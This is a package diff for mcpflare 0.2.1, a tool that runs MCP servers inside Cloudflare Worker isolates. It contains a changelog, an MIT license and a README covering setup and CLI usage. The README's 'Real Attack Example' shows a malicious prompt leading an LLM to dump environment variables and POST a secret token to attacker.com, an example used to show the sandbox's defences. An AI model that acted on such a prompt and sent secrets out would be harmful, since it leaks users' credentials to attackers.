mcpflare 0.2.1

package/CHANGELOG.md

@@ -0,0 +1,68 @@
+# Changelog
+
+## 0.2.1 (2026-01-17)
+
+### Features
+
+* add enterprise security hardening and automated release process ([e317d90](https://github.com/jgentes/mcpflare/commit/e317d90ef27a02f496de75997edd0461e80e674d))
+* Add install command and MCP discovery/transparency features ([5e9eba6](https://github.com/jgentes/mcpflare/commit/5e9eba646330565b61599bee06259effab3a03c0))
+* add unrestricted network mode and UI warning ([a9272c0](https://github.com/jgentes/mcpflare/commit/a9272c0b62b87248d0bfe3dec9a3c48a7eed8264))
+* Add VS Code extension for MCP Guard configuration ([94ba5e7](https://github.com/jgentes/mcpflare/commit/94ba5e75f080503fa0423eb5ae0c05c6b8681084))
+* **cli:** add token savings analysis and disk-based metrics persistence ([40186a0](https://github.com/jgentes/mcpflare/commit/40186a0f4dcf85173909654efc49aa16d42d0ce6))
+* enforce per-MCP network allowlists ([8b179ba](https://github.com/jgentes/mcpflare/commit/8b179ba8ec236488955a2b9d9c01f4444bd29417))
+* **extension:** add connection diagnostics and fix Streamable HTTP session handling ([3ef6570](https://github.com/jgentes/mcpflare/commit/3ef6570a3b89200c513ea9d8f44dff698027b47e))
+* **extension:** improve context usage bar visualization ([d69c270](https://github.com/jgentes/mcpflare/commit/d69c270519a92ca1b0eecac6497ecb264228be24))
+* **extension:** integrate MCP Guard with IDE config manipulation ([e44d0df](https://github.com/jgentes/mcpflare/commit/e44d0df00118a6287b76447d0cc2e8cf6b35352b))
+* implement network allowlist enforcement for Worker isolation ([d92eef5](https://github.com/jgentes/mcpflare/commit/d92eef55b4822682552c899d88f9c4f50416d3ee))
+* implement network allowlist with FetchProxy Service Binding ([f923a26](https://github.com/jgentes/mcpflare/commit/f923a26cb68afff0caecf8bfdafa7d8fd243b0fc))
+* **vscode-extension:** Add MCP config management and cache invalidation ([d0c50be](https://github.com/jgentes/mcpflare/commit/d0c50be3ed2086417c88fe82438ea60b9f055168))
+* **vscode:** add context window usage visualization panel ([5caeeea](https://github.com/jgentes/mcpflare/commit/5caeeea89d8fc1312a5b42cafeff99f94c7cb7bd))
+
+### Bug Fixes
+
+* build before tests in release workflow ([16199d1](https://github.com/jgentes/mcpflare/commit/16199d1609d0cd741f6ea819697738ad198812bf))
+* clear per-MCP schema cache and align webview enabled state ([1b1bbf1](https://github.com/jgentes/mcpflare/commit/1b1bbf19097af61520367f0c99a199ca98089dba))
+* **cli,server:** improve type safety and code formatting ([3050e46](https://github.com/jgentes/mcpflare/commit/3050e46d80ece833787883b01bd509bddda2fa22))
+* configure release workflow for OIDC trusted publishing ([e6442e9](https://github.com/jgentes/mcpflare/commit/e6442e9dcbe0c4af106364f86f63f364dded8b0c))
+* improve MCP assessment and context usage display ([2944365](https://github.com/jgentes/mcpflare/commit/29443659dd02a3f8f3d4969371c3471ef62f4082))
+* improve URL-based MCP caching and connection handling ([47471c2](https://github.com/jgentes/mcpflare/commit/47471c255ff4db9d178458a5967929202ab7e982))
+* prevent command injection in killProcessTree function ([5a8fc7a](https://github.com/jgentes/mcpflare/commit/5a8fc7a65b9fe907589e58fb830b7a8ad1631060))
+* prevent URL-based MCPs from using stale zero-tool cache ([f8860c1](https://github.com/jgentes/mcpflare/commit/f8860c10ec12efc4250a85e2a8922b827ed897cb))
+* resolve CI failures in lint and eval tests ([daa1167](https://github.com/jgentes/mcpflare/commit/daa11674bb2b3c5305fefaad24d431a7c158cd62))
+* resolve peer dependency conflicts for CI and docs builds ([c65bd4e](https://github.com/jgentes/mcpflare/commit/c65bd4ec633413e89adefccb5aed7721783fca9c))
+* resolve test failures in config-manager and webview-provider ([6c47700](https://github.com/jgentes/mcpflare/commit/6c47700fab8cab56692565d7546cc07fb8770747))
+* resolve TypeScript module resolution and type errors ([cd7f477](https://github.com/jgentes/mcpflare/commit/cd7f477f019998b6b27eb271a512e2ed7152864d))
+* **server:** align worker network policy with isolation config ([10539f0](https://github.com/jgentes/mcpflare/commit/10539f01aababd08162da3c0761c17d946c63eef))
+* update homepage URL to https://mcpflare.org ([eb70260](https://github.com/jgentes/mcpflare/commit/eb702607052804ce867833ee924c179e5a76e074))
+* **vscode:** prevent MCP card collapse on save and eliminate UI flashing ([96da0ee](https://github.com/jgentes/mcpflare/commit/96da0eeac42ee3973024dd1446059609f224225d))
+
+All notable changes to this project will be documented in this file.
+
+The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
+and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+
+## [0.2.0] - 2024-12-13
+
+### Added
+- Initial release of MCPflare
+- Zero-trust execution environment using Cloudflare Workers isolates
+- Code mode execution for massive token savings (up to 98% reduction)
+- Interactive CLI for testing MCP servers
+- MCP server implementation with transparent proxy mode
+- Automatic MCP discovery from IDE configurations (Cursor, Claude Code, GitHub Copilot)
+- Security features: V8 isolate sandboxing, network isolation, code validation
+- Service Bindings architecture for secure MCP tool access
+- Schema caching for faster MCP loading
+- Comprehensive test suite (unit, integration, security tests)
+- VS Code extension for MCP management
+- Documentation: README, CLAUDE.md, SECURITY_ANALYSIS.md
+
+### Security
+- Complete network isolation for sandboxed code execution
+- Pre-execution code validation blocking dangerous patterns
+- Disposable execution environments preventing state leakage
+- Binding-based access control for explicit permissions
+
+---
+
+**Note**: This changelog will be automatically updated by release-it based on conventional commits.

package/LICENSE

@@ -0,0 +1,22 @@
+MIT License
+
+Copyright (c) 2025-2026 James Gentes
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+

package/README.md

@@ -0,0 +1,371 @@
+# MCPflare
+
+> Use local MCP servers securely with zero-trust isolation while reducing context window token usage by up to 98%.
+
+*⚡ This implementation is based on [Code execution with MCP: Building more efficient agents](https://www.anthropic.com/engineering/code-execution-with-mcp) by Anthropic. It uses [Wrangler](https://www.npmjs.com/package/wrangler) for local MCP isolation using [Dynamic Worker Loaders](https://developers.cloudflare.com/workers/runtime-apis/bindings/worker-loader/) as described in [Code Mode: the better way to use MCP](https://blog.cloudflare.com/code-mode/) by Cloudflare.*
+
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
+[![TypeScript](https://img.shields.io/badge/TypeScript-5.3-blue.svg)](https://www.typescriptlang.org/)
+[![Node.js](https://img.shields.io/badge/Node.js-20+-green.svg)](https://nodejs.org/)
+
+## 🛡️ How It Works: A Simple Example
+
+![MCPflare Flowchart Overview](./assets/flowchart.png)
+
+### Real Attack Example
+
+**Scenario:** Malicious prompt tries to steal your secrets
+
+**Traditional MCP:**
+```
+User: "Show me all environment variables"
+LLM: Calls read_env() tool
+Result: ⚠️ SECRET_TOKEN=xxxxxxxxxxxx exposed
+LLM: Exfiltrate SECRET_TOKEN via POST to "https://attacker.com/steal"
+Result: ⚠️ Fetch request succeeds
+```
+
+**With MCPflare:**
+```
+User: "Show me all environment variables"
+LLM: Writes code: console.log(process.env)
+Result: ✅ ReferenceError: process is not defined
+        Your secret stays safe
+LLM: Exfiltrate SECRET_TOKEN via POST to "https://attacker.com/steal"
+Result: ✅ Network access blocked
+```
+
+## 🔒 Security: Zero-Trust Execution
+
+MCPflare runs all code in local Cloudflare Worker isolates with **zero access** to your filesystem, environment variables, network, or system, which protects against data exfiltration, credential theft, filesystem access, arbitrary code execution, process manipulation, SSRF attacks, code injection, supply chain attacks, and more.
+
+**Three layers of protection:**
+1. **V8 Isolate Sandboxing** - Complete process isolation
+2. **Network Isolation** - No outbound network access, only MCP bindings can communicate
+3. **Code Validation** - Blocks dangerous patterns before execution
+
+📖 **[Read the security analysis](https://jgentes.github.io/mcpflare/docs/security)** for attack vector details and defense-in-depth architecture.
+
+## ⚡ Efficiency: Code Mode Execution
+
+Traditional MCP tool calling wastes your context window. MCPflare uses **code mode** to reduce token usage by up to 98%.
+
+### Example: Generating a Jira Sprint Report
+
+**Traditional approach:** The LLM calls tools step-by-step, and every result flows through the context window:
+
+1. Fetch 200 sprint tickets → **25,000 tokens** loaded into context
+2. LLM reads all tickets to count completed vs blocked
+3. Fetch time tracking data → **5,000 tokens** more
+4. Generate summary → **300 tokens**
+
+**Total:** 30,300 tokens just to count tickets and generate a simple report.
+
+**With MCPflare:** The code runs in a secure sandbox, processes all 200 tickets, and only sends back the final summary. The LLM never has to read the individual tickets:
+
+```typescript
+// Fetch tickets, filter and count in code, return only the summary
+import * as jira from './servers/jira';
+
+const tickets = await jira.getSprintTickets({ sprintId: '123' });
+const stats = {
+  completed: tickets.filter(t => t.status === 'Done').length,
+  blocked: tickets.filter(t => t.labels.includes('blocked')).length,
+  total: tickets.length
+};
+
+console.log(`Sprint Summary: ${stats.completed}/${stats.total} completed, ${stats.blocked} blocked`);
+```
+
+**Result:** Instead of 30,300 tokens, you use ~750 tokens. **97.5% reduction.**
+
+**Benefits:**
+- 📉 **Up to 98% reduction** in token usage
+- 🚀 **60x more tasks** in the same context window
+- 💰 **Massive cost savings** on LLM API calls
+- ⚡ **No round-trips** for intermediate results
+
+
+## 🏃 Quick Start
+
+**Requires:** [Node.js 20+](https://nodejs.org/) installed
+
+### Installation Steps
+
+1. **Add MCPflare to your IDE config** (Cursor, Claude Code, or GitHub Copilot):
+   
+   [![Install MCP Server](https://cursor.com/deeplink/mcp-install-dark.svg)](https://cursor.com/en/install-mcp?name=mcpflare&config=eyJjb21tYW5kIjoibnB4IiwiYXJncyI6WyIteSIsIm1jcGZsYXJlIl19)
+   
+   Or manually add to your IDE's MCP configuration:
+   ```json
+   {
+     "mcpServers": {
+       "mcpflare": {
+         "command": "npx",
+         "args": ["-y", "mcpflare"]
+       }
+     }
+   }
+   ```
+
+2. **Disable existing MCPs** (recommended):
+   
+   To maximize efficiency and security, disable any existing MCPs in your IDE configuration. This prevents the IDE from loading all their tools into the context window unnecessarily, which is one of MCPflare's key benefits - you only load and use the tools you actually need.
+   
+   **Why disable?**
+   - ⚡ **Efficiency**: Without disabling, your IDE loads all MCP tools into the context window, wasting tokens. MCPflare only loads tools lazily when you actually use them (via `call_mcp` or namespaced tool calls).
+   - 🔒 **Security**: Ensures all tool calls route through MCPflare's secure isolation instead of being called directly.
+   
+   **How to disable:**
+   Ask your LLM: "Disable all MCPs except mcpflare in my IDE configuration"
+   
+   This uses MCPflare's `guard` tool to move MCPs to a special `_mcpflare_disabled` section in your config file. MCPflare can still discover and use these disabled MCPs through its secure isolation layer.
+   
+   > ⚠️ **Important**: Do NOT manually comment out or remove MCP entries from your config file. If you do, MCPflare won't be able to discover them. MCPflare needs the MCP configurations to remain in the file (either active or in the `_mcpflare_disabled` section) to route tool calls through secure isolation.
+
+3. **Restart your IDE** for changes to take effect.
+
+4. **That's it!** MCPflare automatically:
+   - Discovers all other MCPs configured in your IDE (even disabled ones)
+   - Routes all tool calls through secure Worker isolation
+   - Lazy-loads MCPs when their tools are actually used (via `call_mcp` or namespaced tool calls)
+
+**No additional setup needed!** MCPflare uses transparent proxy mode by default - all your existing MCPs are automatically guarded without any config changes (once they're disabled).
+
+### How Transparent Proxy Mode Works
+
+MCPflare automatically:
+1. **Discovers** all MCPs configured in your IDE (Cursor, Claude Code, or GitHub Copilot)
+2. **Lazy-loads** tool schemas only when tools are actually called (not upfront - this keeps your context window efficient)
+3. **Routes** all tool calls through secure Worker isolation
+4. **Auto-loads** MCPs when their tools are first used
+
+**Example:** If you have `github` MCP configured, MCPflare will:
+- When the LLM calls `github::search_repositories`, MCPflare automatically loads the GitHub MCP schema and executes the call in isolation
+- All results are returned transparently - the LLM doesn't need to know about the isolation layer
+- Tool schemas are cached after first use for faster subsequent calls
+
+This means **all MCP tool calls automatically go through MCPflare** - no config changes needed!
+
+You'll see a prompt like this:
+
+```
+╔═══════════════════════════════════════════════════════════╗
+║              MCPflare - Interactive CLI                   ║
+╚═══════════════════════════════════════════════════════════╝
+
+Type "help" for available commands.
+Type "exit" to quit.
+
+mcpflare>
+```
+
+### Basic Usage
+
+1. **Load an MCP server:**
+   ```
+   load
+   ```
+   Enter the MCP name, command (e.g., `npx`), args, and environment variables.
+
+2. **Get the TypeScript API schema:**
+   ```
+   schema
+   ```
+   Enter the MCP ID to see available tools as TypeScript APIs.
+
+3. **Execute code:**
+   ```
+   execute
+   ```
+   Enter the MCP ID and TypeScript code to run in the isolated Worker.
+
+4. **List loaded MCPs:**
+   ```
+   list
+   ```
+
+## 🧪 Testing with GitHub MCP
+
+Follow these steps to test the system with GitHub MCP:
+
+### 1. Start the CLI
+
+```bash
+npm run cli
+```
+
+### 2. Load the GitHub MCP Server
+
+At the `mcpflare>` prompt, type:
+
+```
+load
+```
+
+You'll be prompted for information. Enter:
+
+- **MCP name**: `github` (or any name you like)
+- **Command**: `npx`
+- **Args**: `-y,@modelcontextprotocol/server-github` (comma-separated)
+- **Environment variables**: `{"GITHUB_PERSONAL_ACCESS_TOKEN":"ghp_your_token_here"}` (as JSON)
+
+**Example interaction:**
+
+```
+mcpflare> load
+MCP name: github
+Command (e.g., npx): npx
+Args (comma-separated, or press Enter for none): -y,@modelcontextprotocol/server-github
+Environment variables as JSON (or press Enter for none): {"GITHUB_PERSONAL_ACCESS_TOKEN":"ghp_your_actual_token"}
+
+Loading MCP server...
+```
+
+### 3. Check What Was Loaded
+
+Type:
+
+```
+list
+```
+
+You should see your loaded MCP server with its ID, status, and available tools.
+
+### 4. Get the TypeScript API Schema
+
+Type:
+
+```
+schema
+```
+
+Enter the MCP ID from the previous step. You'll see the TypeScript API definitions that were generated from the MCP tools.
+
+### 5. Execute Some Code
+
+Type:
+
+```
+execute
+```
+
+You'll be prompted:
+- **MCP ID**: Enter the ID from step 3
+- **TypeScript code**: Enter your code (end with a blank line)
+- **Timeout**: Press Enter for default (30000ms)
+
+**Example code to test:**
+
+```typescript
+// Simple test
+console.log('Hello from Worker isolate!');
+const result = { message: 'Test successful', timestamp: Date.now() };
+console.log(JSON.stringify(result));
+```
+
+### 6. View Metrics
+
+Type:
+
+```
+metrics
+```
+
+This shows performance metrics including:
+- Total executions
+- Success rate
+- Average execution time
+- Estimated tokens saved
+
+### 7. Clean Up
+
+When done testing, unload the MCP:
+
+```
+unload
+```
+
+Enter the MCP ID to clean up resources.
+
+## 📖 Available CLI Commands
+
+| Command | Description |
+|---------|-------------|
+| `load` | Load an MCP server into an isolated Worker |
+| `execute` | Execute TypeScript code against a loaded MCP |
+| `test` | Interactively test MCP tools (select tool, enter args, execute via Wrangler) |
+| `test-direct` | Test MCP directly without Wrangler/Worker isolation |
+| `list` | List all loaded MCP servers |
+| `saved` | List all saved MCP configurations |
+| `schema` | Get TypeScript API schema for an MCP |
+| `unload` | Unload an MCP server and clean up |
+| `conflicts` | Check for IDE MCP configuration conflicts |
+| `metrics` | Show performance metrics |
+| `help` | Show help message |
+| `exit` | Exit the CLI |
+
+## 🔧 Using as an MCP Server (for AI Agents)
+
+Start the MCP server:
+
+```bash
+npm run dev
+```
+
+Configure your AI agent (Claude Desktop, Cursor IDE, etc.):
+
+```json
+{
+  "mcpServers": {
+      "mcpflare": {
+        "command": "node",
+        "args": ["/path/to/mcpflare/dist/server/index.js"]
+    }
+  }
+}
+```
+
+**Available MCP Tools:**
+
+**Transparent Proxy Tools** (lazy-loaded from configured MCPs):
+- Tools from your configured MCPs are available with namespaced names (e.g., `github::search_repositories`)
+- Schemas are loaded on-demand when tools are called, keeping your context window efficient
+- All tool calls are routed through secure isolation
+
+**MCP Prompts** (slash commands):
+- Prompts from your configured MCPs appear as slash commands (e.g., `/mcpflare/github:AssignCodingAgent`)
+- Prompts are read-only message templates, so they're directly proxied without worker isolation
+- All prompts are transparently aggregated and namespaced for easy discovery
+
+**MCPflare Management Tools:**
+- `call_mcp` - Call MCP tools by running TypeScript code in a secure sandbox (auto-connects MCPs from IDE config if needed)
+- `guard` - Guard MCP servers by routing them through MCPflare's secure isolation
+- `search_mcp_tools` - Discover which MCPs are configured in your IDE. Shows all configured MCPs (including guarded) with their status and available tools.
+- `connect` - Manually connect to an MCP server (usually not needed - transparent proxy auto-connects)
+- `list_available_mcps` - List all currently connected MCP servers (runtime state)
+- `get_mcp_by_name` - Find a connected MCP server by name (more efficient than searching list_available_mcps)
+- `get_mcp_schema` - Get TypeScript API definition for a connected MCP
+- `disconnect` - Disconnect from an MCP server
+- `import_configs` - Import MCP configurations from IDE config files
+- `get_metrics` - Get performance metrics
+
+## 📜 License
+
+MIT License - see [LICENSE](./LICENSE) file for details.
+
+## 🙏 Acknowledgments
+
+- [Anthropic](https://www.anthropic.com/) for the Model Context Protocol
+- [Cloudflare](https://www.cloudflare.com/) for Workers and the Worker Loader API
+- The MCP community for building amazing MCP servers
+
+## 🔐 Repository Security (GitHub Advanced Security)
+
+We take security seriously. This repository has GitHub Advanced Security features enabled, including **CodeQL code scanning**, **Dependabot alerts**, **dependency graph/submission**, and **secret scanning + push protection**. We also enable **private vulnerability reporting** so issues can be disclosed responsibly.
+
+If you believe you’ve found a security issue, please see [`SECURITY.md`](./SECURITY.md) for reporting instructions.
+
+---
+
+**Ready to get started?** Run `npm install` and then `npm run cli` to begin! 🚀

package/dist/cli/index.d.ts

@@ -0,0 +1,3 @@
+#!/usr/bin/env node
+export {};
+//# sourceMappingURL=index.d.ts.map

package/dist/cli/index.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/cli/index.ts"],"names":[],"mappings":""}